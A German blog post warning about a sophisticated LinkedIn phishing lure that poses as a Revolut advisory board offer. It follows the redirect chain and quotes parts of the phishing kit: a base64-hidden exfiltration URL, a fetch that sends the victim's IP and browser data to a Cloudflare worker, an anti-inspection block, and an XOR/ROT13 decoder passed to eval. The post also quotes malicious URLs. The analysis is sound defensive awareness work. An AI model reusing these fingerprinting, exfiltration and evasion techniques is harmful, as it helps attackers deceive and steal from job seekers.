Service-Post: Vorsicht vor ausgefeiltem LinkedIn-Phishing.

Bisher waren Phishing-Nachrichten eigentlich immer recht einfach zu durchschauen. Miese Grammatik, seltsame anmutende Formulierungen und sehr eindeutig verdächtige Domains.

Aber heute erreichte mich die folgende, sehr schmeichelhafte Nachricht auf LinkedIn, deren Qualität mich fast überzeugt hätte. Fast!

I am writing as we are currently partnering with Revolut to identify exceptional candidates for their Strategic Advisory Board. Given your depth of experience and reputation in the sector, we immediately thought of you as a strong fit for this role.

Dotiert ist die “optionale Remote-Stelle” mit einem stolzen Entgelt von 150 - 250k USD pro Jahr. Da springt der Gier-Trigger natürlich sofort an.

Was mich aber stutzig macht: Die Rolle passt überhaupt nicht zu meinem Profil. Adisory Board? Ich hab vielleicht ein paar Jahre fachliche Erfahrung auf dem Buckel… aber das ist schon ein steiler Aufstieg.

Alles andere scheint perfekt zu stimmen. Die Absenderin hat ein aktives LinkedIn-Konto, einen Premium-Account und ist sogar “Verified Recruiter”:

LinkedIn-Profil der Absenderin
LinkedIn-Profil der Absenderin

Der Link in der Nachricht führt zunächst zum typischen LinkedIn Referrer. LinkedIn nutzt das um ausgehende Links zu tracken und, naja, die Verantwortung auf die NutzerInnen abzuwälzen: “Wir prüfen den Link nicht, aber wenn du denkst das ist sicher, dann wird es wohl so sein”

{{ LinkedIn Referrer URL}}

Die Domain dynamics.com gehört zur Marketing-Plattform Dynamics365 von Microsoft. Ich habe die URL gekürzt, damit mir nicht Scam-Verteilung unterstellt wird - der Pfad hinter “org” ist die Org-ID, also der Account des Phishers:

public-usa.mkt.dynamics.com/api/orgs/e58da24d-66d5-f011-83fb-0022482cc604/r/Zo_xI1JZIUOtOT47FlsBAAIAAAA?msdynmkt_target=[…]

(Ironischerweise wird hier auch eine Bot-Detection von Microsoft nachgeladen… ༼ʘ̚ ʖ ʘ̚༽)

Der GET-Parameter msdynmkt_target enthält kodiert ein paar Daten für die nächste Weiterleitung:

1{
2  "TargetUrl": "https://6e1f8a3d92-3c4b9e0f7-a2d5c8b63-9e41f78.pages.dev/drive/",
3  "RedirectOptions": {
4    "5": null,
5    "1": null
6  }
7}

Die Domain pages.dev gehört zu Cloudflare und ist eine einfache und günstige Möglichkeit, statische Seiten zu hosten. Hier wird es etwas kompliziert. Die Anfrage an Cloudflare liefert ein HTTP 200 zurück, leitet aber sofort an die folgende URL weiter - der GET-Parameter token enthält eine eindeutige ID, die ich hier auch entfernt habe:

https://cloud-view-home-116243981995.europe-west1.run.app/?alt=media&token=abc-123

Die Domain run.app wiederum gehört zu Google Cloud. Dort lassen sich sehr schnell und günstig Anwendungen hosten - in diesem Fall eine einfache HTML-Seite, die einen professionellen Eindruck macht:

{{ Gefälschte Revolut-Seite}}

Hier wird es gefährlich: Um die komplette “Ausschreibung” zu lesen, soll man sich mit einem Google-Konto anmelden. Seltsam nur, dass ein paar grundlegende Funktionen scheinbar deaktiviert sind. Weder der Rechtsklick funktioniert noch Shortcuts um die Entwickler-Konsole zu öffnen. Offenbar willman vermeiden, dass der Quellecode der Seite sichtbar wird.

Das ist natürlich nur eine schwache Hürde, über das Browser-Menü kommt man trotzdem an den Quellcode. Und da wird es spannend und endlich klar, dass man es mit Phishing zu tun hat - oder Revolut tested die Medienkompetenz seiner zuklünftig Advisors-Board Mitgleider? `(͡• ͜ʖ ͡•)``

Der HTML-Quellcode ist äußert aufgeräumt. ZU aufgefräumt. Schonmal Ausschreibungen auf Recuriter-Plattfomrmen gesehen? Dort wimmelt es nur so von 3td-Party-Scripten und Tracking-Codes. Hier: Reines CSS, HTML und JavaScript. Aber das hat es in sich:

Gleich zu Beginn ein starkes Indiz für LLM-basierte Code-Generierung:

{{ Kommentar im Quellcode}}

ORIGINAL STYLES PRESERVED EXACTLY… klar, das Ziel ist es, die Seite wie eine Ausschreibung aussehen zu lassen. Aber welche Web-DeveloperIn schreibt das in den Quellcode?

Weiter unten im JavaScript-Teil geht es mutner weiter:

JavaScript-Code im Quellcode
JavaScript-Code im Quellcode

ANTI-INSPECTION - na klar, warum auch nicht!

Und dann wird es spannend: Der Quellcode enthält eine Reihe versteckter Informationen:

1const _u = atob('aHR0cHM6Ly8wMTIzNDU2Nzg5YWJjLTlhYmNkZWYwMTItYWUzZS5vZmZpY2UyNC53b3JrZXJzLmRldi8=');

Die Funktion atob codiert einen ASCI-String in einen binären String. Dahinter verbrigt sich diese URL:

` https://0123456789abc-9abcdef012-ae3e.office24.workers.dev/'

Die URL zeigt zu einem Cloudflare-Worker. Wenn ich den Login-Button klicke, pasiert folgendes:

1let ip = "0.0.0.0";
2try {
3    const r = await fetch('https://api.ipify.org?format=json');
4    const d = await r.json();
5    ip = d.ip;
6} catch (e) {}
7
8const p = await enc({ ip: ip, ua: navigator.userAgent, ref: document.referrer, lang: navigator.language, ts: Date.now() });
9const r = await fetch(_u, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ encrypted_data: p }) });

In der Konstante p werden die IP-Adresse, der UserAgent, der Referrer, die Spracheinstellungen und ein Timestamp gesammelt und verschlüsselt. Der ganze Spaß wird per JSON an die Cloudflare-Worker-URL geschickt.

Die Antwort wird dann mit dem gleichen Schlüssel entschlüsselt. Laut JavaScript liefert der Worker ein Objekt mit einer weiteren Ziel-URL zurück. Jetzt landen wir auf

https://cloud-drive-home-116243981995.europe-west1.run.app/

Hier wird zunächst - irony again - eine Captcha abgefragt. Der Zweck: Phishing-Scanner abhalten.

Nächster Halt:

https://cloud-drive-home-116243981995.europe-west1.run.app/favicon.ico

Nur ein Icon? Nein, auch ein beliebter Trick um Schadcode zu verstecken. Dahinter befindet sich erneut HTML-Code. Leider wurde meine Untersuchung vom System mittlerweile als “suspicious activity”. Deshalb werde ich schlußendlich auf unverdächtige Domains wie www.shift4shop.com oder ubuy.com weitegeleitet.

Der HTML-Code - ich poste ihn nicht - nutzt eine einfache XOR- und ROT13 verschlüssklung. ROT13 ist ziemlich trivial, dabei werden die Buchstaben des Alphabets einfach nur um 13 STellen verschoben:

1c = c.charCodeAt(0) + 13

Danach entfolgt die Entwschlüssung mit XOR. Dazu wird jedes Zeichen des veschlsselten String mit einem Zeichen des Schlüssel verkünpft.

Heraus kommt ein Stück Javasctip code, der per eval direkt ausgeführt wird und einen iFrame erzeugt, der eine Menge Sicherheitsmechanismen des Browsers aushebelt:

1    whimsy.sandbox.add('allow-same-origin');
2    whimsy.sandbox.add('allow-top-navigation');
3    whimsy.sandbox.add('allow-modals');
4    whimsy.sandbox.add('allow-scripts');
5    whimsy.sandbox.add('allow-popups-to-escape-sandbox');
6    whimsy.sandbox.add('allow-forms');

Die Quelle des iFrames ist https://chipaju.mawastou.biz.id/HPEEQdO0tUnX@Hp4q - dort, wo auch die Cpatches gehostet werden.

Reaktionen